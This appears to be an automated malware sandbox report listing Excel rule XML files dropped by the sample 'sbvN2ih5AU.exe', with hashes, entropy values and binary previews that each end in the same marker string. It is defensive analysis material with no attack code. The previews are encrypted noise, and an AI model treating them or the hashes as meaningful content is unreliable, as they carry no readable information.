Preview:	<?xml...gp.-.>%..\|.z...W..]\T.`...M(}2....n......s....nV.... .N...k..#.....4.\|.......`XVE..7>`.z.nW'7\...hHm..v...&!.;.....P.\|,Rl..z..X;\......@V ..#z....}...`.].AV..Yi...iR.............j.S-..kw.I.....".x&{w.ua..vZ.....Pl1g.d.b....{!.Ng.P....`..rE.m-^...$..P...z:i[k\..Pk.\|g...Xuu.....u..0..N..0r{F.S...:...<.F..Y..I.c@..Upi....}..(.a.p......f.=.....Hq=B....:YTw..u..s.%.HX..o....R.S.#...<...&..5.'b...{...,.4....=?.7s...7,w.m.......D.VJe.^..P.uRYI..p. .Oi...c..h..2."....+...y;.h..!J2q...x......g..l....}..M......x9...D....Y...q-.7..Na..w.wR..O.k.6...i...........E.v.X.Q.VO7.(.\|r!..r`.a..=Rn ......s........@>R..yO.pX.....`w>i.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.692444962452663
Encrypted:	false
SSDEEP:	24:o9E3L8LY6EU1C8T4XATbBlqdHxBu9NWurt2bD:dLSPEybBlku9oLD
MD5:	5436068FB97F67AA38117D5E1541DA98
SHA1:	B437C1C6B4DACDA6CA007F6C0FCA9F4867D59EFF
SHA-256:	CF891E6E301932C2DB4CD1F1173BCCE74BF9325BD6A34D108A8FE7803262BE89
SHA-512:	DB1AB4BE01792D37C61642F162399FFF47CC7244C57F1AC53E0EEB71E75A2D544293D4B6265F9DA17709D0CBCAA53B3D87E6766243F7141A782B1B157E27B589
Malicious:	false
Preview:	<?xml0..}..#..d7.F...)..N..!v)..t.F...:..\.....^BN..Q^-.._(( .T...R.Ma...^...`....... .J9.x.8-}.AjV.M.3....x...\|.7$..P.Z.W.7.k`.>.O..0...K..N.`.P.).!..!. .+[Gc..g@......K&.M ...s....b...R`wq^.2D.i..D.}..d..[..B......)......W#...c.K..LU...\..OF.$...-.dGb...........b.c..+.(..',Uy3.{3I.%....7.l+.......1s;....Wm@..k6..L%......p?.m......78C...t8^..:4.1......W.YI....,............0........W/...b..9.G_8hT\c.s6.?.B......N..t.a...x....}...;W)..NM.0P...V....8.6.aH.:...b<.G..=.... .1r...D..M......D.v_9.8M......v..gh.*&...Y.":Y..:.AY..e....g9.N......[......c.'..{3...........0.{...C.....T..1.../...T9..=..0.Sd...g9....W.M..U,..:;w..&...X.c..&.VB....Q3P.[...x..~la.6r...n...9.6.2...7\3.+...~\.s..K...$~e8.<7.G.z..E......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.6654810332589856
Encrypted:	false
SSDEEP:	12:ZjDZDTTVkIcWFuzocPEN0op5LTq3YzfDYK5Wa9HCH0M6bJWAqzSUdNcii9a:ZfhT3NcPGZuYQfaUH56bxq+2bD
MD5:	6F301632280C016D070CDF35F216724F
SHA1:	D4DD939DC39E6781D3F5A9D16B2D74088167D549
SHA-256:	42933FB4823DF6D66D7B6AA6349F6CBD912512E6005636DC6BBD78F18C0E3AB0
SHA-512:	4BCEB21B28FDA896CA79B801E659A59B9F37FF9448EA625E7F6D67C51600213226740CD09C36ED629DD9429271F771A13FFC8EDFEFF7D081DD97CBDB44E94906
Malicious:	false
Preview:	<?xmlCL.V..0.......N.W0.t(....n!.._....jj^.z.I42&...........l..Me\...P.a..[Q...q.wZ\|.Q..A+.=.>{......U_.2.wI.3......L..}.v...3.(...p:j.0.(x...$_.._..\|B.h<....g..b?-....e%S....u>.`..-9...aC'.S(....[.r.(..*.`.[#.j.EA.E.9......=_.K....a...z....iM,X.I..K...l.'\|...+...r@{m.0.c.....8D..=d_.OJk....0H........&S..X.....K......mo.]...,9..i..b....(\+.O..[F.....p...L...k.B.l.B.&X...sg...K...UH.,..!.ORf[....b.O.7...F...Aj.....W.o.,.D........I..#!...q}3......cs.. ..._..>*..DME.R...#..........p....b..W.....Yd.p2$.m.o'#....R...s.......E....8...8.....3.p...F%&.e8.H.........Q{.B.(...V....p.nV".j..XU.L.x$.\|.?....d.~...F.....I..%C....".....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.706540253347218
Encrypted:	false
SSDEEP:	24:FqYVFIWTWqnk5sFq0rwnG0hTWlX4TQ8jzxBXb2Lc2bD:FdVCSWqrFrmZWlXoQ8jzXXyLvD
MD5:	5DAE29BF6A43860D49E88F51FA23172C
SHA1:	16BDC86FB8ADDEB8B9E3ABB2F6B9D975C37179E7
SHA-256:	D52D4FCA18AC8B2FCC5A9A3EEC1B8BB0E7D060CFCC87E0ABA596959DAFA46004
SHA-512:	335DD612EFB8B596429DEDD32367386650CEF1334AF5A0FA480C6310E3829F6E4029E9139C2009BEEC1E791B3875B53E53FE33149BAD3DC374F14BCF9C45FE44
Malicious:	false
Preview:	<?xml7...35.k.... ....ueZFLh.z~?.$..T...v.x...\|...0N.(.H.]&".V.lM.........I.h...,.{.]....<....\|H..t!e...nS..FZH-.Si.....x.....%le...~P.}w.ON....V......G.......JH...je.Y.........&.I..1....#..-.D_S....Pg...].....o.X.je.#....p$..1j..X.=..8..8.w.E.C...c%..%~..W...... ...\|.4Vg.O.1.....q."#....F...Q4.......z.dpU.e..B.....F....Cp(..[.H..0.. X.\|....DX8.4y#....L.j.ID.f.....S.b.\..3ka..F.r.&.{.^n..w.-.u.2.;`>.]....`...}6.b..%.....+..........`.;.E..!.?.C.p.....G.%vw.]..IPXL....`.`...8..H..Q[..'.C=.....p...M..o$..O...{.!......+.L3pi.M8:.+.+h..b..Ih[..fQ..R?E].c...\....D;..~..yt.......P...rB.\......e.$..z..N}....3]..\|.....,._.3[...H..%..P ....kN=.].9.hOkl..R"...K.Qe..-........Hl..?F..6..}.>.BmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.702583689382168
Encrypted:	false
SSDEEP:	12:anHv6HsIf9TBrTKimFsbAdI0kdYp8SJnsetEu/nX/vGrYuh/LSgaiIRjSUdNciik:3HnfRNLAdJkipacEqXn4YuhDSgAu2bD
MD5:	03CDF3CEE6C5A31E10B1E3D65890B0A0
SHA1:	6C7CEF01C51362E02A1754391DD8B47066700911
SHA-256:	C01AB097A1D2341F3D147A7BCF2885E10859A83271529886B9FC6716300529FB
SHA-512:	9DDC52585AB9B6985CC2C486B506AC1EEC7A3205BD9B7FDAB74A6DAFCDF5880031F7EFCBC8552E182DA0733F913D339D94A9FD0AD8A762C3503563A3FACD109D
Malicious:	false
Preview:	<?xml.PU....0...y..{.\.I'...Tky...n.G{>n.........,.....h".g."........$..;....d...2...z.....B....%pS.S.6.=..KPda7.w...j.h.K.;..XA....M...O.[~.k.?.j..3.6Q.....R.\.......3.`.D....{o..I..).....).;...P....i....%>l...$.U.%.:L-.\...T]gix...7`.......Y..x....`;.y/SKtVvH.$......0\|6.7c...'.k.?..Yw..{.\|.._....S...l.S..c..8H,..0.f./.c.a..qo.....u..7.:..#v.....q............6&..(+PH$..d.C......b.q%>...).u.....H...*...M.1.q.\|j.....c...l0.Tv<..m...:..H..t.u..$G....%...%.VA.,."VJ3.x....$............-.12.....E......XL...o.4...+U..Co1..pl...y...q.(R....}.......>,.O..;.......`.17...g..$......H.A.."....4.7..~..4[..c4..[.....vd...1...4..&Ol."]y,..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.751205359352899
Encrypted:	false
SSDEEP:	12:DAI7UGMT1tLnj9IW8V44V7SV4vgZ6CQLqiP0rIlh89f4Z9vpPeFPxPS8CQrj+SUn:DA5T/44m7SSvgosrIJxGxPPCQd2bD
MD5:	ABA494BE2038D15E87D0708153791203
SHA1:	A8E45D38F22F4A68F2563827E603857B59371D71
SHA-256:	0D8771F11E9F712119330E374AA7356F451433E565E221DA5A0B8CA969DA95E8
SHA-512:	7E4FCAF55B07FD3EBE1EE630E97FFDD7FD665A5FB0C7712679EAEFDFEC8EFC27486452CC1FC731AE420FFB052FEA65EA832D9E2F60E0677F638C1CF6C5A19A88
Malicious:	false
Preview:	<?xml........,O..U......b...g].R..!.1\|.^...W.3vE...{$.$^.VI4.,[.....b..O.t;..o.UE~n.,'.dP.m..2...=....#.....1........M..Ur....t......8.......+7..:..I.R..Z'C.o.n].....yS.:...f.&$PU.s......u.p.....qv?..5.E$..%.#..l...B.Y.....S<...:K.b...N.O.@c...._8.6N..R>...).m..a......to...H..rv)?..H.....p.......L..X.H....~,...H..P7m8..G....H...g^..Rr...............Y..5..x......+...Dn...m.:..JM{.c.n..O.]..Q@..;...j..]...._}...#.u../.......En.9%..`C. 4C\.W......Y.:..<dNJ....S....... ..MC.cHM...^..-Pg(N.(.F.ODJ"..b..._..n..B.<=8o..s.0Sun.46.w..W.....r\|..}.f..r.c..y.....].....L..m.F..{.....d.Z~......:. ......l...&.].2...q..;..A......O(eg.:.[...*/..Vfb._Q.!.<.@._..%..X'........gS.y R%...\|"....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.709651222394483
Encrypted:	false
SSDEEP:	24:VcoU8om+sQBf8Xc8Ul/tRc3C9CxgHPrH5+wqV2bD:KoPomWRrHTZZrD
MD5:	3B28BBC26F18EC6046C906661ED52765
SHA1:	F033A484CF9429E9C745FF638337E14C3A3FAE01
SHA-256:	96CD681E899681E83E306E9EFF03249CBF0E27C8F82F4C92DBBF4685B9350502
SHA-512:	7BE55DDC0CC73B79F64014619192A2DCBEFF6B15210FC91897F0069D64552360633BCBED5EB688FBAC8BDD0C402D91E763127DC4D37855C9EF339D58583E9737
Malicious:	false
Preview:	<?xml.....N...4o......U$....z:/.....' ...w..,..]....-..C.CE.......E.K.....^.....m.U4....7.O1..;~}...7.o\|..Y.c..Fx..j.....2...8.h....(...,dM...EJ.M..xa'..K..#...e...9.M.%.G....HB.}j....Z.%_b.b..2..L. ..e..e..;.8..>.F.].......V..g.k.#~.Y..X...]."..d...\|w.....1Wek..<..f....w.c..`$.Y....a5..xM.s...g............/.B, ..O5.xKg.~.....$F.....7..../...B.."v(...m#e....].+]@.{..rXG........2../B.?...Fp.....\.l...U....0....)aD.y7.(34.......aT.X.ad6......?.....M.,]...J.9........R....p._}.Nk....y`b"0U[y....ZUH...\...H..w.z..`B..X..q"..A.._..).`\..T....U.....'.....%.....v.x.B.%.........^.9u+k.w...;..Aq[Q86....\..9.$.+...._2...`...GF.'..[......._%..52Ef.b...TDL......Y^...I....c.7..u..L..JmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.725628404114264
Encrypted:	false
SSDEEP:	24:J3MXsfUZZ3Lo+OIIjUCd4tBu0dkRmiRVa6Bp2bD:J3HUZtYRiaBQifaYCD
MD5:	72CCFCE1A86B3310D9A86D5814270A51
SHA1:	43EDC817CABD0BDF8E51E0D9DC67E9C982A88E2C
SHA-256:	26923C392FC4ACBBE0802245C605BD735A5A7B6B925A55752E6A213E059C62F8
SHA-512:	61B0539484388311FAA149580612897F3D14DB7E3B65ACF4475349E14CC90032CF021E457ED8F1D6EDE3FBC39042E70762FD64C66011022503223A5C4845143A
Malicious:	false
Preview:	<?xmly...KmU...U..]...Q.........<...1.....,>...X.c..pc.I[...y.s..Fv..J..p.e.dT.}.i..E...J.lu.+......}....fV_..'.P...x&...8n.j.=:.4x\.c...4],...6..{]N..k...V.y.;..........c1..}....Df...u.....@.@[....1........D.K@m...#. [..E....IQ..sm.......[............<..d"....b.p...G;..dlL...ii..k.O....;...4.=Y=.qT.em....Grf....A.........P.pX5.l$!......K...6..;..v.J.....nL1^K..r.d.&bO.....}.....ED3.&.e.-.....67....-.....U.&....r..2P`,.G..^...{.X....rC<CU/2D.p..).J.M.xK...l.n.....2U.7^.u..cf.^...r.E.7.....KH.........#.$..VR.B.1..V.J-.m.e.t....(f2R....9n.1.G.X.\|_........R.\.9..@...G............$.}=.....r.4.5J...H1\|g....L.m.YOz......o^H+.m.p... `.h..SH".......u<...c..)'.E"!..........B.....T1...uN...!.@..8.o.:U?.2..+mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.709868701565305
Encrypted:	false
SSDEEP:	12:ijDkDehgMABrLqv4irngx+RCf37C8/nhmEpF0C2eUKD5yfdjc3Mi+3+O5SUdNciD:ijDkD4gM8qwiXCf7F/xpuRk5QyMR3k2X
MD5:	41540475997E92AFBA6F3FFACAB8430D
SHA1:	1ADA289DE72A34D64AB8755C179907A9CEF6DCBC
SHA-256:	4D62BF995C4D7A390943199AFE543F494E5D19D64D9D220E6EB9813D2F24C11C
SHA-512:	95A50D8C2D12B18FE8C56AB8A14B05B8ED7F1DAE0196550E43F7C7BD52A7B60A2174F8B67339668F660157F8984B4A54053190B54DB0C0C49FBAC58FB8BFB0A6
Malicious:	false
Preview:	<?xmlZ!..?3'.:.x...FD...,.lA.2.1....`.v.FmlO.s....w...>.Ehj.W=#.].YOXI....I..8.b.#..t...i..].../7....+"{(..:...m!T....\|......O^..\|......4{A.X...h..Y......0;..#.O>.LU...P.+@......'PP...n....(.#>..<....P,E...)Uk.;..g..#..J...+......uU.v.r...7..C..}~..p.....'.M....:..jm.!..w...@V\|PV8.....e2w9.."TZZ..j._.<....8.u.'p..X0.u....?..X1..o..e$..T.:3....r.ja..[.x.X.C......at.;.?....?...[..bab.\.#M.gpA.F..<.9...q.fB.)..q.Y/.. e./i..W.u3....iD..(.]...&.IP.x!.N..Z..je.i9.*.8...F.N.......e..FWBi..'..V...jh.E...PY~\|.j[.:...M6...=4..Ues....;..B.s.Y.....G....M....'......G#..r..`.@.=.C...../.T..!...S.W5.Hd.}..j.8Ro..H......#...WoQK..'yM......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7053946414887395
Encrypted:	false
SSDEEP:	24:NypkbB6SCNHXDMPu1X0dy2h7sBNkTV2bD:NymFBUHXDMPaajh+k6D
MD5:	B76F02FE7CBA06ABF298F6B907B6A120
SHA1:	FD0B7451DB1DDE2899DD4C74EFACBEFC0A533F13
SHA-256:	8B783A913A4B5B9864CE0D34CA931720AB1ADD6D60EEE4F3B68B2BD74178504B
SHA-512:	CD19C098D84184B224DCD7EB8D41DF870CD313046C133C6342800FA0932EF827B61C6A1CE16AA2AAABB331362F3942390FCCCA7570BA7EE36D85B24F1A9CDD47
Malicious:	false
Preview:	<?xml1H.n....t....3.%Hgs3Uz..fy..qV!....._.8.J.9..0y'a......Z...v.35.@C.r..15Q.'.R}.8g.e.Nb9....n.T.V.m.35...p..$.%...Wqt1\|Z..8.o..Y\|..x#/o9~...4..ha.}.Q....'.=..N...Q.E.......cL<...I.....O.........I..3....%=Cy...X....o...4.,c....E.'c.S..fh....\|ns...2.z.F.v`.....=.v...h......v0bq.H.V..l.q...Rty.k<..:.-.....e...tfy...`...o....~.s..C.....A......~.\|W..#g>.u\|.r.V.f.(...+.4Eb.x....";..Q.%..I......z+Y./pQ..Ex...g..k+GZ..d:~....~.PR@}.P.].N.ga}.=.....\|..%..z...S.b.x...0.9......p.].K`...7.N.. H..D..e6..]K..-.9&fMf.,.i.'g.i....y~..px..e@=....q5.F...C.{.u...)l....Yl.+..........s\|j_?.F...]GA...As...jK..e.jm..g..A3.V.tH.&8..I.4.....#..P.....@..dm.=Ct3...I...X.b.\.....hm:.@.2$.o=..z....1.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.708496356371574
Encrypted:	false
SSDEEP:	12:Ncdqz/AfCHb/XqdeL4oryoPUqoPJjwCIRVw0aIrKAiWkNrvkFjNw9Ckd5ZpX9WmL:NcdD6rq0L4o7PGtYgRIrNkNzkVU5/WmL
MD5:	860038B04A8DE462A2046FFBCAF6D9F2
SHA1:	39DB6C37112D2EB9E87956070DD89E73B8B19DC2
SHA-256:	5909A7BFA6535106B7CD3E6DE35DCD4084419F17CD13BE5E24306E52E3AC28BA
SHA-512:	FD17722DCC43DE2341D19825104C8538EBEEB46CD21CF4EDFFA55541B4E2BB3E7ABE1AB7E4F0C1820CCD89DE5CD6A00457EB0BE91C4CE756A4077ABAF05F2316
Malicious:	false
Preview:	<?xml.<~..L.TJ5..DW..U...1%&Z...'{.P.H..jD.XW\.T..Ij...b..{.O..-..E..]..(.;....".0...\`..D0C.....s}.ai^.............9.l4..-Eh..6.T.w1.$_..d .th..6.v....9.%../..rx.$..........eAE...oM....V Nj........l.7...H..h.........kt...........`..,.{.......dF..s~.^.2.Ny..c.....[X.@(:.....h.u...^.a.q9..."= I..t\|.).r`^...1>3.f...-...}...R@\7........~4.#.]u.#.)..2l.or..OV........<dHZfF.....13.......s.0..6.'...o...O........{W...c(......XI.Z...G~dF.e. 3/.K)C.dVJ..!(.\|..hO.U.,......5J......a......^.#...j)..q...H19...v..`.r.f.eC...7...b@l..c.....%z.xG.68.U..M...!.CN..=-aC.}.:.'A3.+...*'v.../H0.).y....5..u..?..F..qw.z.)B..@.E@mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7167405471083255
Encrypted:	false
SSDEEP:	12:rGQnC2BBJ25G5BHzrAXM1qWHD+bYZwzvwLX/cxbkAr26GEjzu1XB6oQbe72SUdNX:rGv2Ag8cXZZwM7kxbb23Eji1V4O2bD
MD5:	FBD12547AF81278B6F94E653AA4DD516
SHA1:	40DF2E5C022970E47BEBB72D7586D0615F080A30
SHA-256:	A4C3A6F7087086FDA6FEBD26492FA61FF545916C00E4DB545522129EB024D7F5
SHA-512:	A08B6BC9F855391676B5ED828745524B2C36E9E9033AF942B9A4BACE749AAD4BF775DFB1FB9D8F19C2E9C1B8386BB670F28CB8AD88A9392466D11027F8BA720E
Malicious:	false
Preview:	<?xml.E.../I).Efz.E..&.S}..Z%_g"..Y...u..e.O.,..24...t=.ls.K..../.L.o....uO...'.b...b$.X...~.B.......u8Q2.}.T.....~...Z.X.u<...p..B.P..R...]..y.X......_....ZdN...4Q....c...ZrT..J....T#p.+XFr...X....!.quK+...-Dc8..O.f...Z5..w4.?...\fN..2"...........$.NQ..0.......g.$#....VJ.Xu..Co..T.2Om.`[Wz..>.u(..@%..B..E..X.O..H....{^G.Uc.-.w.;..95.#..$u.YD.....[vp,6\|F~......E.NF$..B;....h...<.+t..,.....[G..Y#....u.w...q.;...D.0.J...F.......8.....&..G.X...p.'-\|.f..G...kS..{.V.x.j..x.QW..Yi..Nt`......;.</...K.U.....r^4..q.A...h..`f.m..h[.~b<...p...P.9.qb....e2l.q(..Qy.S.g..g....I\|....v.@..-.+.nF.l....D+.G.S.......OJpv4.)..UZ%cA..oW.....TMO"...B..r.....W.. .._.G..(.}.>...>^....2;u.l...d...L..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.689107456069894
Encrypted:	false
SSDEEP:	12:XTK0ZiQZHLJBiu/6DmNduoxVTwKouenWO77o+rdQSWyn1DuAL3SiHgcnI7K70zSw:XTK0U8HdBioGzsVTwLuMo+R9WynRuAba
MD5:	4326F0764F648EC2DD0E549D7E2FD144
SHA1:	05F8DE59B5A6637A35519BB4084A63C88CE649BE
SHA-256:	250369E420967E65E781172FBCA803CBCFBBD02C36CAAB4107C10577D261B1AE
SHA-512:	955CC697613FEFF825B01F7B72F284E64FD98A5430B51EC167ACC7169B24DC6879D22682AC120C20230B0F09B6213A68159CBB0012A870C54B8F6CBD8D5AB8C3
Malicious:	false
Preview:	<?xml.AEB....7...M....J....i.Kpw....[cPGs\|{............XF...~.\|>.2.F6g..zT.E....'...B.w.7..0....Pi.A...y.e./.Z.......X.Z..wuE..b7n....P...$5u......).WZ. ...y.E...;L...b.......O"&.8K h....`.[...H;.2.."...C.Qep...V.....m^..5.....".....Y=..9.k#.v.....lCn...c..}.q"h6o....7M..H.........."....T.:.....\|F.H.uc6..=..I..P,{:...6..A..~;#ry..... .........V.5....Q....e2.+...i.....w....K..g.b.x.%.p!c.I!...I...q.#..............g..\..J.?A...kx..../W...k>.f.A.p..X.(..0[......r..e0f.._.._.uD...C.8..23..pWH........X..a....N.n....g./i..U&...y.6/..\(Q..5%...a/..T..O.x..M/..!)'..{..("[.F%.m@r..&.....g..#..}aqx....+.J..3/5b...H2...v..C....ma{.hK........c.RYY+.dZ].lmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.709685563355998
Encrypted:	false
SSDEEP:	12:WnmGENMSezlizyjSfMwU1E3zkqpMh7J/C99ZWDNYfkF0VYL8E7HQ+ySUdNcii9a:RJOSIzYI4dY/ybYL8ELQu2bD
MD5:	E549E76233CB12F9921ECB7B84FEB381
SHA1:	967023A90D3750AD8F4766CC01FBD7F2A9D6A58F
SHA-256:	CAA442B734E1A6DC8350416542C840479EF1A9E947F0B262B4C09D545A85E9A8
SHA-512:	62074E6AAA11E583737211F845CA8AACED7A9887B1773BAC501E3068C974B393D721FF5A7E998E00F55363F4F26DB6DDA36ECD8C8F44FF15D3CCEEDECD548FFF
Malicious:	false
Preview:	<?xml.~.......H..Y..O..D?V.A.X1......g.DX;...u.Ek...,$...&T..i..3T$fg...k..o../H.96.......7...r...........R....h$.K.=bu.Z./or.E?...._...<.......(o....l&om..n..q....b.W@.}.\|.$h..8...v...%.Hl....66.._..-.z.q..qb.cL.F.....f.9y.J[nM.7$xNk.siq.....U.A.-m<.6..%O...#}.#.J..y"_...T...@?E..(`...{uy.\^...=.d...;e....$;!r.....z.0..i...4.".3.J7.V...u...".z`#...@Kd..wR.thC}....9.P.).X..A}c......g..B...K.\|c....fw.+=z...7G..6.<.!.Q..K..W..F...../...`"..Dq.W....L0E.D ..{\|5..H.?.9o...\|....Q....V..!..g..E....k..x.BT.....>.lb.z+@.e...R...F2.9W!..j...?R....P4V....z.$. c.6...=M..s.+....d.h7...j.....7].H.?..\0.(p...~3.!..A.D[....!.J\..Y9...L....\W...2.9.&H.b....<..=.1X..Z..ha*...+tQ..w.0;....<c.9..C.a...!N...j.t.xb...R.#I..c..+.Rjb...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.684316466847616
Encrypted:	false
SSDEEP:	12:c/eHAr4YTq9D7JF6b5g9XYjEe+PWOdR2Zd3g/w1sGXJtoQ9xKD6tJRGSUdNcii9a:c2gr4USJFSgNY9eWOu/3g4jto+xF2bD
MD5:	04D3178B67F8880D0B7D465F49C8AAB6
SHA1:	67A05663D585F42E4F6D9AABCBE75F7A282B0386
SHA-256:	2A0C2FBA15221F4AB590DC904CA5DCE1D498B59026C02BF1E28A300B91A364AE
SHA-512:	695903B3EA9E48D5FD78C4DD8C89A9573D8FBDD748D2F745F9E87AA57BDC068DFAA695724F6139FEE382577537271330E725C18BC5DED8F3C7DC8B08628E57F8
Malicious:	false
Preview:	<?xml..6.).u.....M..F..m.59*P.B...8.0e...#...8X.p.L.~dn2>xg.Qw...........B..L.S.l....5&]...rykh.Y.....jO......&......k.g.4.u/........\|..40..e.:.n.R....p.Jc.l.2/'...O..........E....S.}.C.]..,{O'.......T.R(\f../.d..\|d..JW.t.}...\et..w....S.....h.1.......S.G0!........H.(U..bE..Y#.3...c......^A}....Vz#4.1l..5...e...5X.CH.........^....I...^.E[...x,.%.c9....k......pf....9@..C.?.!t.e.l"'y..f..m..UQ. .+>....D.(.h..@.[...x.t...0!$R`V/.b.d..[;._....R^.V..`.O.p....}......T/$..ul....I......O.l......X...XW.Xc(\...H...C.d....)...A..3L3#..s.ns.&...t\|..E_e../..Erb.......k.....V...O.\|....\2./z8.H.{p..r(h.{.kV...!........5.0n..iX....t...s.../.I.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.741869819759981
Encrypted:	false
SSDEEP:	24:5BiOq3e6OrLoB77A4gLQoRx+yO7pgjRPPM2bD:KdO628ArLQPyOlEPfD
MD5:	E2906525A9900D22CD84B1E5C08FAF45
SHA1:	0F55A6539220F6D5B129551DF547F066C8CE3A0B
SHA-256:	DFDB7535D165406D602F1C841335F3799A1A3580DF4F00382F45ED8AE80ECC97
SHA-512:	F5844B282CB9EB80956DBF8595A39E139A7121FAF52CF1F9B5C74D8EF27865FE7C2E531F44A5F8561A3371C9C46D931F98E1DD637793CC948EB379CCFA8473CA
Malicious:	false
Preview:	<?xml..&h.wu8....[i.......o.X..Il.........Zbl..At......m.g.3q...b..S.I.k.E.....T....U.v...E.qF...."....77.J.......@....<..W%h<.e..l1.2..k....U..K..<t.l6...n(..$..`.eP(..r.Jrl..4.8e.F...Ldi.....7u..w_....h,ji6/\|D...+.Y.q.0.../C..An.)>..T...T....$.lY..r..A...\|.D.-Jn...o............n.....y..*F..[@.r.k.....SH...M9eC2.h...`c...."[....%4..8}n.@.f4.J}...D$..5/..%.'.......^...D.&+....Qd.jg.a.#.4.G.:......z.n..^..NL.....\....I.@...h..2...$}.u...Y..Mwg8..K.......,..h.8p....1.ok..$`.....B.y."j...x..V.....k....nl.....sN...N...<..k...'w.@}w..Q.+$._..O..{IF..J....KF...o.G?.../.g.."............./..!,..%...W......~tL,.."Q. ...o&NRJ."...PQ.)R....[.0./... D..27.y..e.O...T.{.....`p.U..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
